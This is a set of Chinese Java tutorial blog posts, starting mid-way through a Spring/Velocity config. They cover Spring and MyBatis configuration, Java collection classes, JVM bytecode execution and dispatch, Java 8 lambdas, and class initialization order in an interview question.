        class="org.springframework.web.servlet.view.velocity.VelocityConfigurer">
        <property name="resourceLoaderPath" value="templates/" />
        <property name="velocityProperties">
            <props>
                <prop key="input.encoding">utf-8</prop>
                <prop key="output.encoding">utf-8</prop>
            </props>
        </property>
    </bean>
    <!--配置附加工具，以及将后缀为vm的文件交给下面的Resolver处理-->
    <bean id="velocityViewResolver"
        class="org.springframework.web.servlet.view.velocity.VelocityViewResolver">
        <property name="suffix" value=".vm" />
        <property name="contentType" value="text/html;charset=utf-8" />
        <property name="toolboxConfigLocation" value="/WEB-INF/toolbox.xml"/>
    </bean>


</beans>



toolbox.xml示例如下，您可以选择自己喜欢的模板引擎。


XML<?xml version="1.0"?>
<toolbox>
    <tool>
        <key>date</key>
        <scope>request</scope>
        <class>
            org.apache.velocity.tools.generic.DateTool
        </class>
        <parameter name="format" value="yyyy-MM-dd HH:mm:ss"/>
    </tool>
    <tool>
        <key>link</key>
        <scope>request</scope>
        <class>org.apache.velocity.tools.view.tools.LinkTool</class>
    </tool>
    <tool>
        <key>stringUtils</key>
        <scope>request</scope>
        <class>org.apache.velocity.util.StringUtils</class>
    </tool>
    <tool>
        <key>math</key>
        <scope>application</scope>
        <class>org.apache.velocity.tools.generic.MathTool</class>
    </tool>
    <tool>
        <key>esc</key>
        <scope>request</scope>
        <class>org.apache.velocity.tools.generic.EscapeTool</class>
    </tool>
    <tool>
        <key>params</key>
        <scope>request</scope>
        <class>org.apache.velocity.tools.view.tools.ParameterParser</class>
    </tool>
</toolbox>



applicationContext.xml——最重要的配置文件


applicationContext.xml主要是对数据库相关操作的一些配置，也是Spring与ORM类框架集成的节点。


XML<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xmlns:p="http://www.springframework.org/schema/p" 
    xmlns:aop="http://www.springframework.org/schema/aop"
    xmlns:tx="http://www.springframework.org/schema/tx"
    xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/context 
    http://www.springframework.org/schema/context/spring-context-3.0.xsd 
    http://www.springframework.org/schema/aop 
    http://www.springframework.org/schema/aop/spring-aop-3.0.xsd 
    http://www.springframework.org/schema/tx 
    http://www.springframework.org/schema/tx/spring-tx-3.0.xsd
    http://www.springframework.org/schema/mvc
    http://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd"
>
    <tx:annotation-driven transaction-manager="transactionManager"/>
    <!--开启扫面注解生成Bean-->
    <context:annotation-config></context:annotation-config>
    <!--设定扫描的根package-->
    <context:component-scan base-package="sbeat" />


    <!--这一段是最重要的-->
    <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
        <property name="dataSource" ref="dataSource" />
        <!--规定了扫描mapper文件的路径-->
        <property name="mapperLocations" value="classpath*:sbeat/*/mapper/*.xml" />
        <!--指定了Mybatis配置文件的路径-->
        <property name="configLocation" value="classpath:mybatis-config.xml"/>
    </bean>


    <bean id="sqlSession" class="org.mybatis.spring.SqlSessionTemplate">
        <constructor-arg index="0" ref="sqlSessionFactory" />
    </bean>

    <!--这一段让我们的MapperInterface能够最终在Spring中生成Bean最后被AutoWired-->
    <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer">
        <property name="basePackage" value="sbeat.*.mapper" />
    </bean>



    <bean id="transactionManager"
        class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
        <property name="dataSource" ref="dataSource" />
    </bean>

    <!--数据库设置-->
    <bean id="dataSource" class="org.apache.commons.dbcp2.BasicDataSource"
        destroy-method="close">
        <property name="driverClassName" value="com.mysql.jdbc.Driver" />
        <property name="url" value="jdbc:mysql://localhost:3306/sbeat" />
        <property name="username" value="suemi" />
        <property name="password" value="123456" />
    </bean>
</beans>



Mybatis配置


XML<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" 
"http://mybatis.org/dtd/mybatis-3-config.dtd"> 
<configuration>
    <typeAliases>
        <!--POJO 类的所在package，默认类名为其Alias-->
        <package name="sbeat.user.model"/>
    </typeAliases>
    <mappers>
        <!--映射文件所在的地方-->
        <mapper resource="UserMapper.xml" />
    </mappers>
</configuration>    



Mybatis映射文件


该文件是将POJO类的


使用Spring-test测试


下面给出一个非常简单的测试例子，应该很容易看懂，就不做解释了


javapackage seed.test;

import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;

import demo.mapper.UserMapper;
import demo.model.User;

@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(locations={"classpath:applicationContext.xml"})
public class TsetUserDAO {
    @Autowired
    private UserMapper userMapper;

    @Test
    public void testInsert() {
        User user=new User();
        user.setAccount("suemi994");
        user.setPasswd("123456");
        userMapper.addUser(user);
    }
}




小结


Spring常用的注解主要有以下几种：



	@Component

	@Service--业务层

	@Respority--持久化层

	@Controller--视图层



尽管这几种注解对应的意义不一样，但它们都有一个共同的作用，那就是让Spring找到并且最终生成对应的Bean。举个例子，我们在Service中使用接口UserDAO，但该接口的实例我们并没有指定使用哪一个，虽然我们写了对应的Impl Class。 通过注解生成Bean，Spring就能够在Service调用该接口的时候从容器里得到正确的实体对象。
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一图胜千言




其中用绿色填充的为常用的类，需重点掌握。


接口简介


Java容器的最上层都是以接口的形式出现,具体实现由子接口完成。举个栗子，常见的如


 Map<Integer,String> map = new HashMap<Integer, String>();



Iterator


迭代器,用于遍历容器，JDK源码如下：


package java.util;
import java.util.function.Consumer;
public interface Iterator<E> {
    boolean hasNext();
    E next();
    default void remove() {
        throw new UnsupportedOperationException("remove");
    }
    default void forEachRemaining(Consumer<? super E> action) {
        Objects.requireNonNull(action);
        while (hasNext())
            action.accept(next());
    }
}



常见用法：


Iterator iter = l.iterator();
  while(iter.hasNext()){
   String str = (String) iter.next();
   System.out.println(str);
  }



Collection


存放独立元素的序列。Collection下又有三个子接口，List,Set,Queue。


List


一个有序的Collection（也称序列），元素可以重复。确切的讲，列表通常允许满足 e1.equals(e2) 的元素对 e1 和 e2，并且如果列表本身允许 null 元素的话，通常它们允许多个 null 元素。实现List的有：ArrayList、LinkedList、Vector、Stack等。


Set


一个不包括重复元素（包括可变对象）的Collection，是一种无序的集合。Set不包含满 a.equals(b) 的元素对a和b，并且最多有一个null。实现Set的接口有：EnumSet、HashSet、TreeSet等。


Queue


一种队列则是双端队列，支持在头、尾两端插入和移除元素，主要包括：ArrayDeque、LinkedBlockingDeque、LinkedList。另一种是阻塞式队列，队列满了以后再插入元素则会抛出异常，主要包括ArrayBlockQueue、PriorityBlockingQueue、LinkedBlockingQueue。


Map


存放key-value型的元素对。


常见容器与工具类


ArrayList


数据结构采用的是线性表，优势是访问和查询十分方便，但添加和删除的时候效率很低。


LinkedList


数据结构采用的是链表，优势是删除和添加的效率很高，但随机访问元素时效率较ArrayList类低。


HashSet


数据结构采用的是散列表，主要是设计用来做高性能集运算的，例如对两个集合求交集、并集、差集等。集合中包含一组不重复出现且无特性顺序的元素。其值是不可重复与无序的。


TreeSet


数据结构使用的是红黑树，性能上低于HashSet，用于排序。


HashMap


数据结构使用的是散列表，是最常用的是Collection


TreeMap


与TreeSet同理，用于排序。


Arrays、Collections


这两者可以理解成工具类，提供一些处理容器类静态方法，比如二分查找，排序等等。


常见的容器比较


ArrayList VS Vector



	ArrayList在内存不够时默认是扩展50% + 1个，Vector是默认扩展1倍。

	Vector提供indexOf(obj, start)接口，ArrayList没有。

	Vector属于线程安全级别的，但是大多数情况下不使用Vector，因为线程安全需要更大的系统开销。



没特殊需求，一般用ArrayList


ArrayList VS LinkedList



	因为Array是基于索引(index)的数据结构，它使用索引在数组中搜索和读取数据是很快的。Array获取数据的时间复杂度是O(1),但是要删除数据却是开销很大的，因为这需要重排数组中的所有数据。


	相对于ArrayList，LinkedList插入是更快的。因为LinkedList不像ArrayList一样，不需要改变数组的大小，也不需要在数组装满的时候要将所有的数据重新装入一个新的数组，这是ArrayList最坏的一种情况，时间复杂度是O(n)，而LinkedList中插入或删除的时间复杂度仅为O(1)。ArrayList在插入数据时还需要更新索引（除了插入数组的尾部）。


	类似于插入数据，删除数据时，LinkedList也优于ArrayList。


	LinkedList需要更多的内存，因为ArrayList的每个索引的位置是实际的数据，而LinkedList中的每个节点中存储的是实际的数据和前后节点的位置。




HashTable VS HashMap



	HashMap几乎可以等价于Hashtable，除了HashMap是非synchronized的，并可以接受null(HashMap可以接受为null的键值(key)和值(value)，而Hashtable则不行)。

HashMap是非synchronized，而Hashtable是synchronized，这意味着Hashtable是线程安全的，多个线程可以共享一个Hashtable；而如果没有正确的同步的话，多个线程是不能共享HashMap的。Java 5提供了ConcurrentHashMap，它是HashTable的替代，比HashTable的扩展性更好。

	另一个区别是HashMap的迭代器(Iterator)是fail-fast迭代器，而Hashtable的enumerator迭代器不是fail-fast的。所以当有其它线程改变了HashMap的结构（增加或者移除元素），将会抛出ConcurrentModificationException，但迭代器本身的remove()方法移除元素则不会抛出ConcurrentModificationException异常。但这并不是一个一定发生的行为，要看JVM。这条同样也是Enumeration和Iterator的区别。

	由于Hashtable是线程安全的也是synchronized，所以在单线程环境下它比HashMap要慢。如果你不需要同步，只需要单一线程，那么使用HashMap性能要好过Hashtable。

HashMap不能保证随着时间的推移Map中的元素次序是不变的。
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这篇文章的素材来自周志明的《深入理解Java虚拟机》。

作为Java开发人员，一定程度了解JVM虚拟机的的运作方式非常重要，本文就一些简单的虚拟机的相关概念和运作机制展开我自己的学习过程，是这个系列的第三篇。

虚拟机运行活化的内存数据中的指令：程序的执行

前面我们说明了java源码被编译成为了二进制字节码，二进制字节码转为内存中方法区里存储的活化对象，那么最重要的程序执行就做好了基础：当方法区里的字段和方法按照虚拟机规定的数据结构排好，常量池中的符号引用数据在加载过程中最大限度地转为了直接引用，那么这个时候虚拟机就可以在加载主类后创建新的线程按步执行主类的main函数中的指令了。

java虚拟机执行程序的基础是特定的二进制指令集和运行时栈帧：


	二进制指令集是java虚拟机规定的一些指令，在编译后二进制字节码的类方法里的字节码就是这种指令，所以只要找到方法区里的类方法就可以依照这套指令集去执行命令。


	运行时栈帧是虚拟机执行的物理所在，在这个栈帧结构上，方法的局部变量、操作数栈、动态链接和返回地址依序排列，依照命令动态变换栈帧上的数据，最终完成所有的这个方法上的指令。




栈帧的进一步划分：


	局部变量表：包括方法的参数和方法体内部的局部变量都会存在这个表中。


	操作数栈：操作数栈是一个运行中间产生的操作数构成的栈，这个栈的栈顶保存的就是当前活跃的操作数。


	动态链接：我们之前提到这个方法中调用的方法和类在常量池中的符号引用转换为的直接引用就保存在这里，只要访问到这些方法和类的时候就会根据动态链接去直接引用所指的地址加载那些方法。


	返回地址：程序正常结束恢复上一个栈帧的状态的时候需要知道上一个指令的地址。






现在我们使用一个综合实例来说明运行的整个过程：

源代码如下，逻辑很简单：

public class TestDemo {
    public static int minus(int x){
        return -x;
    }
    public static void main(String[] args) {
        int x = 5;
        int y = minus(x);
    }
}


我们可以分析它的二进制字节码，当然这里我们借助javap工具进行分析：

jinhaoplus$ javap -verbose TestDemo
Classfile /Users/jinhao/Desktop/TestDemo.class
  Last modified 2015-10-17; size 342 bytes
  MD5 checksum 4f37459aa1b3438b1608de788d43586d
  Compiled from "TestDemo.java"
public class TestDemo
  minor version: 0
  major version: 52
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #4.#15         // java/lang/Object."<init>":()V
   #2 = Methodref          #3.#16         // TestDemo.minus:(I)I
   #3 = Class              #17            // TestDemo
   #4 = Class              #18            // java/lang/Object
   #5 = Utf8               <init>
   #6 = Utf8               ()V
   #7 = Utf8               Code
   #8 = Utf8               LineNumberTable
   #9 = Utf8               minus
  #10 = Utf8               (I)I
  #11 = Utf8               main
  #12 = Utf8               ([Ljava/lang/String;)V
  #13 = Utf8               SourceFile
  #14 = Utf8               TestDemo.java
  #15 = NameAndType        #5:#6          // "<init>":()V
  #16 = NameAndType        #9:#10         // minus:(I)I
  #17 = Utf8               TestDemo
  #18 = Utf8               java/lang/Object
{
  public TestDemo();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method java/lang/Object."<init>":()V
         4: return
      LineNumberTable:
        line 1: 0

  public static int minus(int);
    descriptor: (I)I
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=1, locals=1, args_size=1
         0: iload_0
         1: ineg
         2: ireturn
      LineNumberTable:
        line 3: 0

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=1, locals=3, args_size=1
         0: iconst_5
         1: istore_1
         2: iload_1
         3: invokestatic  #2                  // Method minus:(I)I
         6: istore_2
         7: return
      LineNumberTable:
        line 6: 0
        line 7: 2
        line 8: 7
}
SourceFile: "TestDemo.java"


这个过程是从固化在class文件中的二进制字节码开始，经过加载器对当前类的加载，虚拟机对二进制码的验证、准备和一定的解析，进入内存中的方法区，常量池中的符号引用一定程度上转换为直接引用，使得字节码通过结构化的组织让虚拟机了解类的每一块的构成，创建的线程申请到了虚拟机栈中的空间构造出属于这一线程的栈帧空间，执行主类的main方法：

public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=1, locals=3, args_size=1
         0: iconst_5
         1: istore_1
         2: iload_1
         3: invokestatic  #2                  // Method minus:(I)I
         6: istore_2
         7: return
      LineNumberTable:
        line 6: 0
        line 7: 2
        line 8: 7
}

首先检查main的访问标志、描述符描述的返回类型和参数列表，确定可以访问后进入Code属性表执行命令，读入栈深度建立符合要求的操作数栈，读入局部变量大小建立符合要求的局部变量表，根据参数数向局部变量表中依序加入参数（第一个参数是引用当前对象的this，所以空参数列表的参数数也是1），然后开始根据命令正式执行：

0: iconst_5

将整数5压入栈顶

1: istore_1

将栈顶整数值存入局部变量表的slot1（slot0是参数this）

2: iload_1

将slot1压入栈顶

3: invokestatic  #2   // Method minus:(I)I

二进制invokestatic方法用于调用静态方法，参数是根据常量池中已经转换为直接引用的常量，意即minus函数在方法区中的地址，找到这个地址调用函数，向其中加入的参数为栈顶的值

6: istore_2

将栈顶整数存入局部变量的slot2

7: return

将返回地址中存储的PC地址返到PC，栈帧恢复到调用前

现在我们分析调用minus函数的时候进入minus函数的过程：

public static int minus(int);
    descriptor: (I)I
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=1, locals=1, args_size=1
         0: iload_0
         1: ineg
         2: ireturn
      LineNumberTable:
        line 3: 0

同样的首先检查minus函数的访问标志、描述符描述的返回类型和参数列表，确定可以访问后进入Code属性表执行命令，读入栈深度建立符合要求的操作数栈，读入局部变量大小建立符合要求的局部变量表，根据参数数向局部变量表中依序加入参数，然后开始根据命令正式执行：

0: iload_0

将slot0压入栈顶，也就是传入的参数

1: ineg

将栈顶的值弹出取负后压回栈顶

2: ireturn

将返回地址中存储的PC地址返到PC，栈帧恢复到调用前

这个过程结束后对象的生命周期结束，因此开始执行GC回收内存中的对象，包括堆中的类对应的java.lang.Class对象，卸载方法区中的类。

方法的解析和分派

上面这个例子中main方法里调用minus方法的时候是没有二义性的，因为从二进制字节码里我们可以看到invokestatic方法调用的是minus方法的直接引用，也就说在编译期这个调用就已经决定了。这个时候我们来说说方法调用，这个部分的内容在前面的类加载时候提过，在能够唯一确定方法的直接引用的时候虚拟机会将常量表里的符号引用转换为直接引用，这样在运行的时候就可以直接根据这个地址找到对应的方法去执行，这种时候的转换才能叫做我们当时提到的在连接过程中的解析。
但是如果方法是动态绑定的，也就是说在编译期我们并不知道使用哪个方法（或者叫不知道使用方法的哪个版本），那么这个时候就需要在运行时才能确定哪个版本的方法将被调用，这个时候才能将符号引用转换为直接引用。这个问题提到的多个版本的方法在java中的重载和多态重写问题息息相关。

重载（override）

public class TestDemo {
    static class Human{
    }
    static class Man extends Human{

    }
    static class Woman extends Human{

    }
    public void sayHello(Human human) {
        System.out.println("hello human");
    }
    public void sayHello(Man man) {
        System.out.println("hello man");
    }
    public void sayHello(Woman woman) {
        System.out.println("hello woman");
    }
    public static void main(String[] args) {
        TestDemo demo = new TestDemo();
        Human man = new Man();
        Human woman = new Woman();
        demo.sayHello(man);
        demo.sayHello(woman);
    }
}

javap结果：

public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=4, args_size=1
         0: new           #7                  // class TestDemo
         3: dup
         4: invokespecial #8                  // Method "<init>":()V
         7: astore_1
         8: new           #9                  // class TestDemo$Man
        11: dup
        12: invokespecial #10                 // Method TestDemo$Man."<init>":()V
        15: astore_2
        16: new           #11                 // class TestDemo$Woman
        19: dup
        20: invokespecial #12                 // Method TestDemo$Woman."<init>":()V
        23: astore_3
        24: aload_1
        25: aload_2
        26: invokevirtual #13                 // Method sayHello:(LTestDemo$Human;)V
        29: aload_1
        30: aload_3
        31: invokevirtual #13                 // Method sayHello:(LTestDemo$Human;)V
        34: return
      LineNumberTable:
        line 21: 0
        line 22: 8
        line 23: 16
        line 24: 24
        line 25: 29
        line 26: 34


重写（overwrite）

public class TestDemo {
    static class Human{
        public void sayHello() {
            System.out.println("hello human");
        }
    }
    static class Man extends Human{
        public void sayHello() {
            System.out.println("hello man");
        }
    }
    static class Woman extends Human{
        public void sayHello() {
            System.out.println("hello woman");
        }
    }

    public static void main(String[] args) {
        Human man = new Man();
        Human woman = new Woman();
        man.sayHello();
        woman.sayHello();
    }
}

javap结果：

public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=3, args_size=1
         0: new           #2                  // class TestDemo$Man
         3: dup
         4: invokespecial #3                  // Method TestDemo$Man."<init>":()V
         7: astore_1
         8: new           #4                  // class TestDemo$Woman
        11: dup
        12: invokespecial #5                  // Method TestDemo$Woman."<init>":()V
        15: astore_2
        16: aload_1
        17: invokevirtual #6                  // Method TestDemo$Human.sayHello:()V
        20: aload_2
        21: invokevirtual #6                  // Method TestDemo$Human.sayHello:()V
        24: return
      LineNumberTable:
        line 20: 0
        line 21: 8
        line 22: 16
        line 23: 20
        line 24: 24


我们可以看出来无论是重载还是重写，都是二进制指令invokevirtual调用了sayHello方法来执行的。


	在重载中，程序调用的是参数实际类型不同的方法，但是虚拟机最终分派了相同外观类型（静态类型）的方法，这说明在重载的过程中虚拟机在运行的时候是只看参数的外观类型（静态类型）的，而这个外观类型（静态类型）是在编译的时候就已经确定的，和虚拟机没有关系。这种依赖静态类型来做方法的分配叫做静态分派。


	在重写中，程序调用的是不同实际类型的同名方法，虚拟机依据对象的实际类型去寻找是否有这个方法，如果有就执行，如果没有去父类里找，最终在实际类型里找到了这个方法，所以最终是在运行期动态分派了方法。在编译的时候我们可以看到字节码指示的方法都是一样的符号引用，但是运行期虚拟机能够根据实际类型去确定出真正需要的直接引用。这种依赖实际类型来做方法的分配叫做动态分派。得益于java虚拟机的动态分派会在分派前确定对象的实际类型，面向对象的多态性才能体现出来。




对象的创建和堆内存的分配

前面我们提到的都是类在方法区中的内存分配：

在方法区中有类的常量池，常量池中保存着类的很多信息的符号引用，很多符号引用还转换为了直接引用以使在运行的过程能够访问到这些信息的真实地址。

那么创建出的对象是怎么在堆中分配空间的呢？

首先我们要明确对象中存储的大部分的数据就是它对应的非静态字段和每个字段方法对应的方法区中的地址，因为这些东西每个对象都是不一样的，所以必须通过各自的堆空间存储这些不一样的数据，而方法是所有同类对象共用的，因为方法的命令是一样的，每个对象只是在各自的线程栈帧里提供各自的局部变量表和操作数栈就好。

这样看来，堆中存放的是真正“有个性”的属于对象自己的变量，这些变量往往是最占空间的，而这些变量对应的类字段的地址会找到位于方法区中，同样的同类对象如果要执行一个方法只需要在自己的栈帧里面创建局部变量表和操作数栈，然后根据方法对应的方法区中的地址去寻找到方法体执行其中的命令即可，这样一来堆里面只存放有限的真正有意义的数据和地址，方法区里存放共用的字段和方法体，能最大程度地减小内存开销。
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上次在盆友圈发了一张照片



上面的两段代码是完全等效的，但是代码行数从11行降低到了一行，更不用说在第一段代码里面，我在run方法的前后以及内部都没有加入任何的空行。由此可以看出，使用lambda可以让你的Java代码在某些情况下达到何等的简洁。
那么问题来了。。。

什么叫lambda呢？

Java 8 给我们带来了lambda，然而在Oracle的文档中，我没有找到lambda的定义，wikipedia里面也没有找到适合Java中的lambda的定义。写这篇文章的时候，我在这里 看到一篇很好的介绍lambda的文章，它里面给了一个定义，我觉得还挺合适的。

A lambda expression is a block of code with parameters.



lambda的写法

首先列举一个完整的lambda expression：

(int a, int b) -> {
    System.out.println("Performing add operation...");
    return a+b;
}

一个lambda expression由三部分组成：


	参数：(int a, int b)是这个lambda expression的参数部分，包括参数类型和参数名


	箭头：->


	代码块：就是用"{}"包含着的那两句代码。




上面说的是一个完整的lambda表达式，在很多情况下，很多东西是可以省略的。比如说，当系统可以根据上下文自动推断出参数的类型的时候，参数类型是可以省略的。这样的话就可以写成：

(a, b) -> {
    System.out.println("Performing add operation...");
    return a+b;
}

系统怎么自动推断出参数类型的呢？这个在下面我们就可以看到。
再比如，如果只有一个参数，而参数的类型又可以自动判断，那么连()也是可以省略的，那么就写成了：

a -> {
    System.out.println("Performing add operation...");
    return a+a;
}

再再比如，如果代码块里面只有一行代码，那么{}也是可以省略的，那么就写成了：

a ->
    return a+a;

是的，可以写在同一行

a -> return a+a;

让我们更进一步，在这里，return其实也是没必要的。

a -> a+a;

Great, 如果没有参数的话，是不是就可以写成：

-> a+a

呢？
很可惜，答案是否定的。如果没有参数，那么前面的()是必须存在的。也就是说，必须写成：

()-> a+a

lambda的用法

实际上，如果你直接把上面的代码放到你的编辑器里面，你的IDE是会报错的，因为lambda是不能这样使用的。lambda的使用永远要跟一个叫做Functional Interface的东西绑定在一起。什么叫Functional Interface呢？Functional Interface也是Java8 中引入的概念.是的，是为了lambda。我们知道java中的interface，而Functional Interface其实就是一个只定义了一个抽象方法的interface。比如Runnable 这个interface就只有一个run方法，那么它就是一个Functional Interface。
如果你对“重复”这件事情比较敏感的话，你可能又有疑问了，什么叫只定义了一个抽象方法的interface？interface中的方法不都是抽象的吗？你这个是病句吧，重复了。。。Well，在java8以前是这样的，然而在java8中，Java引进了default method的概念，说白了就是带有具体实现的方法：

public interface DuckInterface {
    public void wwwalksLikeADuck();
    public default void tttalksLikeADuck() {
        System.out.println("Quack!");
    }
}

在上面的例子中，tttalksLikeADuck()就是一个default method，注意到这个方法的定义中有一个“default”修饰符。相信很多人会觉得这是个非常有用的feature，我也是这样觉得的。
再说回Functional Interfacel和lambda。刚刚说到，lambda必须和Functional Interface配套使用，那怎么配套使用呢？
以安卓里面的View.OnClickListener为例（它也是个Functional Interface）如果没有lambda，我们经常会这样使用的。

View.OnClickListener onClickListener = new View.OnClickListener() {    
    @Override
    public void onClick(View view) {
        handleClick();
    }
});
findViewById(R.id.someView).setOnClickListener(onClickListener);

或者直接使用匿名内部类：

findViewById(R.id.someView).setOnClickListener(new View.OnClickListener() {    
    @Override
    public void onClick(View view) {
        handleClick();
    }
});

在上面的5行代码中，有用的其实只有handleClick()，而我们却必须用5行代码去处理，这是非常繁琐的。在Java 8以前的世界，这样的代码非常多。有一个专门的名词来称呼这种性质的代码，叫“boilerplate code”，我不知到中文叫什么。。。
现在好了，有了lambda，我们可以这样写:

View.OnClickListener onClickListener = view -> handleClick();
findViewById(R.id.someView).setOnClickListener(onClickListener);

匿名内部类的版本：

findViewById(R.id.someView).setOnClickListener(view -> handleClick());

是不是瞬间觉得简洁优雅了？
从上面的例子可以看到，lambda其实就相当于简化了Functional Interface的实例的创建。当然，从真正意义上来讲，lambda的意义不止这么一点点，只不过从使用的角度来看，你可以这样看待。

从lambda到Functional Programming

这里稍微讨论一下关于lambda的其他一些特性。
在上面的例子中

View.OnClickListener onClickListener = view -> handleClick();
findViewById(R.id.someView).setOnClickListener(onClickListener);

这里，你既可以吧onClickListener看作是OnClickListener的一个instance，也可以把它看做一个代码块，后面的那句findViewById(R.id.someView).setOnClickListener(onClickListener);就相当于是吧这个代码块传给了view.setOnClickListener()这个函数。也就是说，从某种意义上来讲，你可以把lambda看作是可以相互传递的代码块。而传递代码块，是Functional Programming（一下简称FP）非常重要的一个特征，虽然说这两者其实没有什么对等关系。因为FP的本质特征是，运行一段代码并不会改变事物的状态，也就是说，没有side-effect。而lambda里面是可以调用所在的类的成员方法的、也可以访问和修改所在类的成员变量的。  
话说回来，关于FP我也不是了解的很多，我本身并没有多少FP的经验，虽然对Ruby有一定了解，但Ruby也只是“可以比较好的进行”FP而已，也不是纯粹的FP语言。纯粹的FP语言是List（包括Scheme，Clojure）、Haskell、ML等等这些。关于FP，Robert Martin（就是《Clean code》和《The Clean Coder》的作者）有一个讲得很好的视频在这里。  
刚刚讲到，lambda的代码块可以访问所在类的成员变量和成员方法，那对于局部变量？  
我们知道，方法内部定义的匿名类是可以访问所在方法的final局部变量的，作为Functional Interface的简写方式，lambda在这点上面跟匿名类保持了一致。也就是说，lambda可以访问定义它的那个方法的final局部变量。而在Java8里面，lambda还可以访问所谓“Effectively final”的局部变量。所谓“Effectively final”的局部变量，就是说除了在定义的时候给了一个初始值以为，在没有改变过她的值的那些局部变量：

int age = 26;    //在这里，age就是Effectively final的局部变量
Runnable r = () -> System.out.println("My age is "+age);
new Thread(r).start();

在Android开发中的应用

可是！！！Android只支持Java 7啊？怎么办？莫急，要相信网友的力量，已经有人开发了gradle的插件，可以将java 8中的labmda表达式在编译出来的bytecode里面，给它转化成Java 7兼容的代码。猛戳这里，使用方法那个页面都用，在这里就不赘述了。

如果对文章有任何意见或建议，或者是发现文中有任何问题欢迎留言！

作者 小创 更多文章 | Github | 公众号
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作者：mousycoder

来源： 一道面试题引发的思考:(1)



                    
这是网易2015校招Java面试题,直接上题目。

题目

package com.mousycoder.staticTest;

public class HelloB extends HelloA {
    public HelloB() {
        System.out.println("HelloB");
    }

    {
        System.out.println("I’m B class");
    }
    static {
        
        System.out.println("static B");
    }

    public static void main(String[] args) {
        new HelloB();
    }
}

class HelloA {
    public HelloA() {
        System.out.println("HelloA");
    }

    {
        System.out.println("I’m A class");
    }
    static {
        System.out.println("static A");
    }
}

答案

static A
static B
I’m A class
HelloA
I’m B class
HelloB()


考察点


	static 相关知识


	非静态代码块相关知识


	类加载顺序




解析


	存在父子关系，又有静态代码块，先执行父类静态代码块，再执行子类静态代码块，故打印static A static B


	存在父子关系，又有非静态代码块，先执行父类非静态代码块，父类构造器，再执行子类非静态代码块，子类构造器故打印I'm A class HelloA I'm B class HelloB




结论


	静态代码块=>非静态代码块=>构造方法


	父子关系：父类静态代码块=>子类静态代码块=>父类非静态代码块=>父类构造函数=>子类非静态代码块=>子类构造函数




扩展知识

非静态代码块

{ 
   System.out.println("I'm B class");
}

这个叫做非静态代码块，也叫普通代码块，在每个类创建前(构造函数之前)调用 ，不创建对象的时候，不被调用，代码块中定义的变量都是局部变量，如果有父子关系的话，先执行父类的，再执行子类的。非静态代码块属于对象，静态代码块属于类。

package com.mousycoder.staticTest;

public class Child extends Father{
    
    static {
        System.out.println("child-->static");
    }
    
    private int n = 20;
    
    {
        System.out.println("Child Non-Static");
        n = 30;
    }
    
    public int x = 200;
    
    public Child() {
        this("The other constructor");
        System.out.println("child constructor body: " + n);
    }
    
    public Child(String s) {
        System.out.println(s);
    }
    
    public void age() {
        System.out.println("age=" + n);
    }
    
    public void printX() {
        System.out.println("x=" + x);
    }
    
    public static void main(String[] args) {
        new Child().printX();
    }
}

class Father {
    
    static {
        //System.out.println("n+"+n);
            //当n定义在下面时，会提示Cannot reference a field before it is defined，
            //所以必须把n定义移到上面才可以输出
        System.out.println("super-->static");
    }
    
    public static int n = 10;
    public int x = 100;
    
    public Father() {
        System.out.println("super's x=" + x);
        age();
    }
    
    {
        System.out.println("Father Non-Static");
    }
    
    public void age(){
        System.out.println("nothing");
    }
}

结果:

super-->static
child-->static
Father Non-Static
super's x=100
age=0
Child Non-Static
The other constructor
child constructor body: 30
x=200

解析：


	先执行静态代码块，有父子关系，先执行父类静态代码块，打印super-->static


	执行子类静态代码块，打印child-->static


	实例化子类的时候，先实例化父类，在调用父类构造方法之前，先调用父类非静态代码块，打印Father Non-Static


	实例化父类，调用父类构造方法，执行第一句 System.out.println("super's x=" + x); 在调用构造方法之前，成员变量x 已经被赋值为100，打印super's x=100


	执行age()方法，因为main方法中真正实例化的是子类，子类又重写了父类的age方法，所以执行子类的age方法，此时子类还没初始化，默认n=0 ,打印age=0


	实例化子类，调用子类构方法之前，调用子类非静态代码块，打印Child Non-Static


	调用子类构造方法，执行this("The other constructor"),调用子类的Child（String s），打印The other constructor


	执行System.out.println("child constructor body: " + n); 初始化之前 成员变量初始值为20，执行完非静态代码块后 n被修改成30 ，所以这里n =30 打印child constructor body: 30


	执行printX()方法，打印x = 200




注意点：


	子类重写父类的方法


	虽然非静态代码块里是局部变量，但是可以改变类的成员变量的值




静态代码块

static {
  System.out.println("static B");
}


属于静态代码块，使用场景：1.想用一个存储区域来保存一个特定的数据，不想创建对象 2.创建一个特殊的方法，与这个类的对象没有关联，即使没创建对象，也可以调用

静态变量

